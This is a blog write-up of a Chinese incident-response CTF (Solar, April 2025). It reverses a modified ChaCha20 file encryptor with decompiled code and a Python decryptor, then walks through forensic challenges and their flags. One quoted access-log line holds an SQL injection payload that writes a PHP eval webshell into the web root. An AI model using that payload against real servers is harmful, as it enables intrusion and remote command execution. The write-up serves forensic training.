2025年Solar应急响应公益月赛-4月

本文最后更新于 2025年5月6日 下午

放假玩嗨了,忘记更新了

可疑文件

发现对文件 f.txt 加密,密码为 qewuri

image-20250426103106468

sub_18007B240 实现了一个流加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall sub_18007B240(__int64 a1, __int64 a2, __int64 a3)
{
char *v3; // rdi
__int64 i; // rcx
_BYTE v6[32]; // [rsp+0h] [rbp-20h] BYREF
char v7; // [rsp+20h] [rbp+0h] BYREF
_DWORD v8[4]; // [rsp+30h] [rbp+10h] BYREF
_DWORD v9[9]; // [rsp+40h] [rbp+20h] BYREF
int v10; // [rsp+64h] [rbp+44h] BYREF
_BYTE v11[56]; // [rsp+88h] [rbp+68h] BYREF
_BYTE v12[96]; // [rsp+C0h] [rbp+A0h] BYREF
_BYTE v13[88]; // [rsp+120h] [rbp+100h] BYREF
unsigned __int64 v14; // [rsp+178h] [rbp+158h]
unsigned __int64 j; // [rsp+198h] [rbp+178h]

v3 = &v7;
for ( i = 102; i; --i )
{
*(_DWORD *)v3 = -858993460;
v3 += 4;
}
sub_1800770F7(&unk_1801AD0A3);
memset(v11, 0, 0xCu);
qmemcpy(v8, "expand 32-byte k", sizeof(v8));
sub_1800757E3(v9, a3, 32);
v9[8] = 0;
sub_1800757E3(&v10, v11, 12);
while ( 1 )
{
v14 = sub_180074E79(v13, 1, 64, a1);
if ( !v14 )
break;
sub_18007ABE0(v8, v12);
for ( j = 0; j < v14; ++j )
{
v13[j] ^= v12[j];
++v13[j];
}
sub_1800772F0(v13, 1, v14, a2);
}
return sub_180076850(v6, &unk_180167DA0);
}

跟进发现 sub_18007ABE0 是 ChaCha20 加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
__int64 __fastcall sub_18007ABE0(__int64 a1, __int64 a2)
{
char *v2; // rdi
__int64 i; // rcx
_BYTE v5[32]; // [rsp+0h] [rbp-20h] BYREF
char v6; // [rsp+20h] [rbp+0h] BYREF
int v7; // [rsp+30h] [rbp+10h] BYREF
_BYTE v8[4]; // [rsp+34h] [rbp+14h] BYREF
_BYTE v9[4]; // [rsp+38h] [rbp+18h] BYREF
_BYTE v10[4]; // [rsp+3Ch] [rbp+1Ch] BYREF
_BYTE v11[4]; // [rsp+40h] [rbp+20h] BYREF
_BYTE v12[4]; // [rsp+44h] [rbp+24h] BYREF
_BYTE v13[4]; // [rsp+48h] [rbp+28h] BYREF
_BYTE v14[4]; // [rsp+4Ch] [rbp+2Ch] BYREF
_BYTE v15[4]; // [rsp+50h] [rbp+30h] BYREF
_BYTE v16[4]; // [rsp+54h] [rbp+34h] BYREF
_BYTE v17[4]; // [rsp+58h] [rbp+38h] BYREF
_BYTE v18[4]; // [rsp+5Ch] [rbp+3Ch] BYREF
_BYTE v19[4]; // [rsp+60h] [rbp+40h] BYREF
_BYTE v20[4]; // [rsp+64h] [rbp+44h] BYREF
_BYTE v21[4]; // [rsp+68h] [rbp+48h] BYREF
_BYTE v22[24]; // [rsp+6Ch] [rbp+4Ch] BYREF
int j; // [rsp+84h] [rbp+64h]
int k; // [rsp+A4h] [rbp+84h]
int m; // [rsp+C4h] [rbp+A4h]
int *v26; // [rsp+198h] [rbp+178h]

v2 = &v6;
for ( i = 50; i; --i )
{
*(_DWORD *)v2 = -858993460;
v2 += 4;
}
sub_1800770F7(&unk_1801AD0A3);
sub_1800757E3(&v7, a1, 64);
for ( j = 0; j < 20; j += 2 )
{
v26 = &v7;
sub_18007B4B0(&v7, v11, v15, v19);
v26 = (int *)v8;
sub_18007B4B0(v8, v12, v16, v20);
v26 = (int *)v9;
sub_18007B4B0(v9, v13, v17, v21);
v26 = (int *)v10;
sub_18007B4B0(v10, v14, v18, v22);
v26 = &v7;
sub_18007B4B0(&v7, v12, v17, v22);
v26 = (int *)v8;
sub_18007B4B0(v8, v13, v18, v19);
v26 = (int *)v9;
sub_18007B4B0(v9, v14, v15, v20);
v26 = (int *)v10;
sub_18007B4B0(v10, v11, v16, v21);
}
for ( k = 0; k < 16; ++k )
*(_DWORD *)&v8[4 * k - 4] += *(_DWORD *)(a1 + 4LL * k);
for ( m = 0; m < 16; ++m )
{
*(_BYTE *)(a2 + 4 * m) = v8[4 * m - 4];
*(_BYTE *)(a2 + 4 * m + 1) = BYTE1(*(_DWORD *)&v8[4 * m - 4]);
*(_BYTE *)(a2 + 4 * m + 2) = BYTE2(*(unsigned int *)&v8[4 * m - 4]);
*(_BYTE *)(a2 + 4 * m + 3) = HIBYTE(*(unsigned int *)&v8[4 * m - 4]);
}
++*(_DWORD *)(a1 + 48);
return sub_180076850(v5, &unk_180167C40);
}

sub_18007B4B0 是 ChaCha20 算法的置换函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall sub_18007B4B0(_DWORD *a1, int *a2, _DWORD *a3, int *a4)
{
__int64 result; // rax

sub_1800770F7(&unk_1801AD0A3);
*a1 += *a2;
*a4 ^= *a1;
*a4 = HIWORD(*a4) | (*a4 << 16);
*a3 += *a4;
*a2 ^= *a3;
*a2 = ((unsigned int)*a2 >> 20) | (*a2 << 12);
*a1 += *a2;
*a4 ^= *a1;
*a4 = HIBYTE(*a4) | (*a4 << 8);
*a3 += *a4;
*a2 ^= *a3;
result = ((unsigned int)*a2 >> 25) | (*a2 << 7);
*a2 = result;
return result;
}

综上所述,加密算法为非标准的 ChaCha20 加密,经过加密后还进行了异或自增

flag.enc 文件数据

1
12 1D 58 7A 7F 60 FE 96 74 D6 7B 56 67 CE 72 3F F2 D2 CE 47 19 59 9B 09 42 07 2C 55 B7 44 10 DE 46 E5 38 B7 74 95 78 42 95 BD 7D B5 64 55 CD 52 8D D2 69 C6 10 5F 82 29 29 9D 30 F6 B4

ChaCha20 加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import struct
from typing import Generator, Tuple

class ChaCha20:
def __init__(self, key: bytes, nonce: bytes, counter: int = 0):
self.state = [
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
*struct.unpack('<8I', key),
counter,
*struct.unpack('<3I', nonce)
]

@staticmethod
def _quarter_round(a: int, b: int, c: int, d: int) -> Tuple[int, int, int, int]:
a = (a + b) & 0xFFFFFFFF
d = ((d ^ a) << 16 | (d ^ a) >> 16) & 0xFFFFFFFF
c = (c + d) & 0xFFFFFFFF
b = ((b ^ c) << 12 | (b ^ c) >> 20) & 0xFFFFFFFF
a = (a + b) & 0xFFFFFFFF
d = ((d ^ a) << 8 | (d ^ a) >> 24) & 0xFFFFFFFF
c = (c + d) & 0xFFFFFFFF
b = ((b ^ c) << 7 | (b ^ c) >> 25) & 0xFFFFFFFF
return a, b, c, d

def _generate_block(self) -> bytes:
state = self.state.copy()
for _ in range(10):
state[0], state[4], state[8], state[12] = self._quarter_round(state[0], state[4], state[8], state[12])
state[1], state[5], state[9], state[13] = self._quarter_round(state[1], state[5], state[9], state[13])
state[2], state[6], state[10], state[14] = self._quarter_round(state[2], state[6], state[10], state[14])
state[3], state[7], state[11], state[15] = self._quarter_round(state[3], state[7], state[11], state[15])
state[0], state[5], state[10], state[15] = self._quarter_round(state[0], state[5], state[10], state[15])
state[1], state[6], state[11], state[12] = self._quarter_round(state[1], state[6], state[11], state[12])
state[2], state[7], state[8], state[13] = self._quarter_round(state[2], state[7], state[8], state[13])
state[3], state[4], state[9], state[14] = self._quarter_round(state[3], state[4], state[9], state[14])

block = bytearray()
for i in range(16):
block.extend(struct.pack('<I', (state[i] + self.state[i]) & 0xFFFFFFFF))
self.state[12] = (self.state[12] + 1) & 0xFFFFFFFF
return bytes(block)

def keystream(self) -> Generator[bytes, None, None]:
while True:
yield self._generate_block()

def decrypt(ciphertext: bytes, key: str) -> bytes:
key_bytes = key.ljust(32, '\0').encode()[:32]
chacha = ChaCha20(key_bytes, b'\x00'*12)
plain = bytearray()

for i, (c, k) in enumerate(zip(ciphertext, (b for block in chacha.keystream() for b in block))):
plain.append(((c - 1) % 256) ^ k)

return bytes(plain)

ciphertext = bytes.fromhex("""12 1D 58 7A 7F 60 FE 96 74 D6 7B 56 67 CE 72 3F F2 D2 CE 47 19 59 9B 09 42 07 2C 55 B7 44 10 DE 46 E5 38 B7 74 95 78 42 95 BD 7D B5 64 55 CD 52 8D D2 69 C6 10 5F 82 29 29 9D 30 F6 B4""".replace(" ", "").replace("\n", ""))

print(decrypt(ciphertext, "qewuri").decode('utf-8'))

得到结果

1
flag{sierting_666_fpdsajf[psdfljnwqrlqwhperhqwoeiurhqweourhp}

应急行动-1

进入目录 C:\Program Files (x86)\RealFriend\Rap Server\Logs 下查看 access.log 文件

1
192.168.56.128 - - [21/Apr/2025:18:08:51 +0800] "GET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3c%3fphp+eval%28%24_POST%5b%22cmd%22%5d%29%3b%3f%3e%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5Cpdyfzr7k.php%22+--+-&cmd=UserLogin HTTP/1.1" 200 416

得到

1
flag{192.168.56.128 21/04/2025}

应急行动-2

查看 ie 浏览器历史记录,有一个 rclone.conf 文件

image-20250426120829526

点击查看

image-20250426120858594

拿到 flag

1
flag{oisienfpqwlmdouydrsbhuisjAUGEDW}

应急行动-3

image-20250426175407247

1
flag{2025-04-21 23:39:28}

应急行动-4

flag1

image-20250426132516925
1
flag1{zheshi}

flag2

image-20250426142034550
1
flag2{yige}

flag3

image-20250426182012661
1
flag{ni}

flag4

不知道为什么我的没有办法恢复快照,参考 nOo0b 师傅的方法,查看 vmtools 传输的接口,发现了被删除的可疑的 Svchost.exe

image-20250506142816501

恢复文件之后,查看属性找到 flag

image-20250506142717548
1
flag4{xiangbudaodeflag}

所以 flag 为

1
flag{zheshiyigenixiangbudaodeflag}

应急行动-5

打开用户的公用文件夹

image-20250426120143872
1
flag{Encryptor123.exe}

2025年Solar应急响应公益月赛-4月
http://example.com/2025/05/06/2025年Solar应急响应公益月赛-4月/
作者
butt3rf1y
发布于
2025年5月6日
许可协议